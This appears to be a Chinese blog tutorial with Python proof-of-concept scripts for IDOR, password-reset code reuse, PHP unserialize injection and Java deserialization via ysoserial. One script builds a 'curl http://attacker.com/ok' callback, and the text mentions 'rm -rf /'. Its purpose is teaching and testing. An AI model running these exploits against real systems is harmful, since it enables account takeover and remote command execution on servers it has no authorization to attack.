Python 实战:Web 漏洞 Python POC 代码及原理详解(3)

今天继续来分享web漏洞python poc构造以及原理详解。

一、逻辑漏洞(以 "水平越权" 和 "密码重置逻辑缺陷" 为例)

逻辑漏洞是指因业务流程设计缺陷导致的安全问题,不依赖代码语法错误,而源于 "流程绕过" 或 "权限校验缺失"。以下是两种高频逻辑漏洞的 POC 构造:

1. 水平越权漏洞(Horizontal Privilege Escalation)

原理:水平越权指 "同权限级别的用户可访问 / 修改其他用户的资源"(如普通用户 A 能查看用户 B 的订单),核心原因是 "仅通过前端传参(如user_id)标识用户,未在后端校验该user_id是否属于当前登录用户"。

示例如下:某网站 "个人信息页" URL 为 http://test.com/userinfo?user_id=100,登录用户 A(user_id=100)可查看自己的信息;若修改user_id=101后仍能查看用户 B 的信息,则存在水平越权。

python 复制代码
import requests

def check_horizontal_privilege(url, session_cookie):
    """检测水平越权漏洞:尝试访问其他用户的资源"""
    # 1. 获取当前用户信息
    headers = {
        "Cookie": f"session={session_cookie}",  # 当前登录用户的会话Cookie
        "User-Agent": "Mozilla/5.0"
    }
    
    # 假设当前用户ID为100
    own_id = 100
    own_url = f"{url}?user_id={own_id}"
    own_response = requests.get(own_url, headers=headers, timeout=10)
    own_content = own_response.text
    
    # 2. 尝试访问其他用户的资源(如ID=101)
    target_id = 101
    target_url = f"{url}?user_id={target_id}"
    target_response = requests.get(target_url, headers=headers, timeout=10)
    target_content = target_response.text
    
    # 3. 判断是否越权访问成功
    # 条件:目标用户页面返回200,且内容与当前用户不同(排除"用户不存在"的情况)
    if (target_response.status_code == 200 and 
        "用户不存在" not in target_content and 
        target_content != own_content):
        print(f"[+] 存在水平越权漏洞!可访问用户{target_id}的信息")
        print(f"    验证URL:{target_url}")
        return True
    else:
        print(f"[-] 未检测到水平越权漏洞")
        return False

# 需替换为登录用户的session和目标URL
check_horizontal_privilege(
    url="http://test.com/userinfo",
    session_cookie="xxx-当前用户的session值-xxx"
)
构造的思路

核心:对比 "访问自己资源" 和 "访问他人资源" 的响应差异(状态码、内容)。

关键参数:通常是user_idorder_idtask_id等标识资源归属的参数。

2. 密码重置逻辑缺陷(以 "验证码未失效" 为例子)

漏洞原理:密码重置流程中,若 "验证码生成后未绑定用户" 或 "验证成功后未失效",攻击者可通过 "拦截他人的验证码" 或 "重复使用自己的验证码" 重置任意用户密码。

示例如下:某网站密码重置流程:提交手机号→接收验证码→输入验证码→设置新密码。若验证码未与手机号绑定,攻击者可在 "输入验证码" 步骤修改目标手机号,用自己的验证码重置他人密码。

python 复制代码
import requests

def check_password_reset_vuln(send_code_url, verify_code_url):
    """检测密码重置逻辑漏洞:验证码未与手机号绑定"""
    # 1. 向自己的手机号发送验证码(获取有效验证码)
    attacker_phone = "13800138000"
    send_data = {"phone": attacker_phone}
    requests.post(send_code_url, data=send_data, timeout=10)
    attacker_code = input("请输入攻击者手机收到的验证码:")  # 假设为"666666"
    
    # 2. 尝试用自己的验证码重置目标用户的密码
    target_phone = "13900139000"  # 目标用户手机号
    reset_data = {
        "phone": target_phone,  # 修改为目标手机号
        "code": attacker_code,  # 使用攻击者的验证码
        "new_password": "hacked123"  # 新密码
    }
    response = requests.post(verify_code_url, data=reset_data, timeout=10)
    
    # 3. 判断是否重置成功
    if "密码重置成功" in response.text:
        print(f"[+] 存在密码重置逻辑漏洞!已用攻击者验证码重置{target_phone}的密码")
        return True
    else:
        print(f"[-] 未检测到密码重置逻辑漏洞")
        return False

check_password_reset_vuln(
    send_code_url="http://test.com/send_verify_code",  # 发送验证码接口
    verify_code_url="http://test.com/reset_password"   # 验证验证码并重置密码接口
)
构造的思路

关键:打破 "验证码 - 用户" 的绑定关系(如修改手机号但复用验证码)。

关键步骤:先获取一个有效验证码,再在验证阶段替换目标用户标识(手机号 / 邮箱)。

二、反序列化漏洞

反序列化漏洞源于 "程序对不可信数据进行反序列化操作",攻击者构造恶意序列化数据,触发对象的特殊方法(如魔术方法)执行恶意代码。不同语言的序列化机制不同,POC 构造差异较大。

1. PHP 反序列化漏洞

原理:PHP 中unserialize()函数处理用户可控数据时,若目标类存在__wakeup()__destruct()等魔术方法,且方法中包含危险操作(如文件读写、命令执行),则可触发漏洞。

示例如下

php 复制代码
<?php
class Test {
    public $cmd;
    // 析构方法:对象销毁时执行
    function __destruct() {
        system($this->cmd);  // 危险操作:执行命令
    }
}
?>

当程序调用unserialize($_GET['data'])时,可构造包含cmd的序列化字符串,触发system()执行命令。

python 复制代码
import requests
import argparse

def generate_php_payload(cmd):
    """生成PHP反序列化恶意payload"""
    # 格式:O:4:"Test":1:{s:3:"cmd";s:len(cmd):"cmd";}
    payload = f'O:4:"Test":1:{{s:3:"cmd";s:{len(cmd)}:"{cmd}";}}'
    return payload

def check_php_unserialize(url, param):
    """检测PHP反序列化漏洞"""
    cmd = "echo PHP_UNSERIALIZE_VULN"  # 测试命令
    payload = generate_php_payload(cmd)
    
    # 发送包含恶意序列化数据的请求
    params = {param: payload}
    response = requests.get(url, params=params, timeout=10)
    
    # 检查是否执行命令
    if "PHP_UNSERIALIZE_VULN" in response.text:
        print(f"[+] 存在PHP反序列化漏洞!")
        print(f"    测试命令:{cmd}")
        print(f"    响应验证:{response.text[:50]}")
        return True
    else:
        print(f"[-] 未检测到PHP反序列化漏洞")
        return False

check_php_unserialize(
    url="http://test.com/vuln.php",  # 存在unserialize的页面
    param="data"  # 接收序列化数据的参数名
)
构造的思路

核心:找到包含危险操作的类(魔术方法中调用system()file_put_contents()等),构造该类的序列化字符串,设置恶意属性(如cmd)。

工具:可用 PHP 代码生成序列化字符串(如$test = new Test(); $test->cmd = 'id'; echo serialize($test);)。

2. Java 反序列化漏洞

原理:Java 反序列化通过ObjectInputStream.readObject()处理数据,若反序列化过程中触发 "恶意类链"(如 Apache Commons Collections 库中的InvokerTransformer),可执行任意命令。

示例如下:应用使用了存在漏洞的 Commons Collections 3.1 库,且接口接收用户可控的序列化数据(如通过POST传输的二进制数据)。

python 复制代码
import requests
import subprocess

def generate_java_payload(cmd, gadget="CommonsCollections1"):
    """使用ysoserial生成Java反序列化payload(需本地有ysoserial.jar)"""
    # 调用ysoserial生成payload
    # 命令:java -jar ysoserial.jar [gadget] [cmd] > payload.bin
    try:
        result = subprocess.check_output(
            f"java -jar ysoserial.jar {gadget} {cmd}",
            shell=True,
            stderr=subprocess.STDOUT
        )
        return result 
    except Exception as e:
        print(f"[!] 生成payload失败:{e}")
        return None

def check_java_unserialize(url):
    """检测Java反序列化漏洞"""
    cmd = "curl http://attacker.com/ok"  # 测试命令
    payload = generate_java_payload(cmd)
    if not payload:
        return False
    
    # 发送二进制序列化数据
    headers = {"Content-Type": "application/octet-stream"}
    response = requests.post(url, data=payload, headers=headers, timeout=15)
    
    # 验证方式:查看攻击者服务器是否收到请求
    if response.status_code in [200, 500]:  # 500可能是命令执行出错但反序列化成功
        print(f"[+] 可能存在Java反序列化漏洞!")
        print(f"    测试命令:{cmd}")
        print(f"    响应状态码:{response.status_code}")
        return True
    else:
        print(f"[-] 未检测到Java反序列化漏洞")
        return False

check_java_unserialize(
    url="http://test.com/deserialize"  # 接收序列化数据的接口
)
构造的思路

核心:利用 ysoserial 生成 payload + 检测,利用成熟的 "Gadget 链"(如 CommonsCollections、URLDNS),通过ysoserial工具生成对应 payload。

如何验证:若无法直接读取命令输出,可通过 "DNSlog"(如nslookup xxxx.dnslog.cn)或 "HTTP 请求" 验证命令是否执行。

java反序列化的难度是更大的,因为需要构建攻击链来进行反序列化。对比如下

|--------|--------------------------------------|--------------------------------|
| 对比维度 | PHP 反序列化漏洞 | Java 反序列化漏洞 |
| 序列化格式 | 明文字符串(易构造、易调试) | 二进制流(需工具生成,如 ysoserial) |
| 核心触发点 | 魔术方法(__wakeup()、__destruct()等) | 重写的readObject()方法 |
| 利用链复杂度 | 低(多为单个类的魔术方法直接触发) | 高(需串联多个类形成利用链,依赖第三方库) |
| 影响范围 | 主要影响 PHP 脚本 / 框架(如 ThinkPHP、Laravel) | 影响所有 Java 应用(含企业级服务器、框架) |
| 典型依赖 | 自身语法特性(魔术方法) | 第三方库(Commons Collections)或框架组件 |

但是两者的危害基本都是高危害的,核心危害比如远程代码执行(RCE)。完全控制服务器:执行任意系统命令(如whoami、rm -rf /),获取服务器权限。

相关推荐
弗朗凌戈5 小时前
机器学习-导师优选
人工智能·python·机器学习
全栈探索者6 小时前
numpy基础
python·数据分析·numpy
程序员爱钓鱼6 小时前
Python编程实战 - 函数与模块化编程 - Python内置模块(math、os、sys、random等)
后端·python·ipython
Blossom.1186 小时前
把AI“灌”进奶瓶:1KB决策树让婴儿温奶器自己学会「恒温+计时」
人工智能·python·深度学习·算法·决策树·机器学习·计算机视觉
Jmayday7 小时前
python数据分析项目之:房地产数据可视化分析
python·信息可视化·数据分析
快乐的钢镚子9 小时前
【leetcode hot 100】49.字母异位词分组
python·leetcode
honeysuckle_luo10 小时前
RandLA-net-pytorch 复现
人工智能·pytorch·python
SunnyDays101111 小时前
Python 高效实现 Excel 与 TXT 文本文件之间的数据转换
python·excel转txt·文本转excel·excel转文本·txt转excel
硬件人某某某12 小时前
python基于卷积神经网络的桥梁裂缝检测系统(django),附可视化界面,源码
python·cnn·django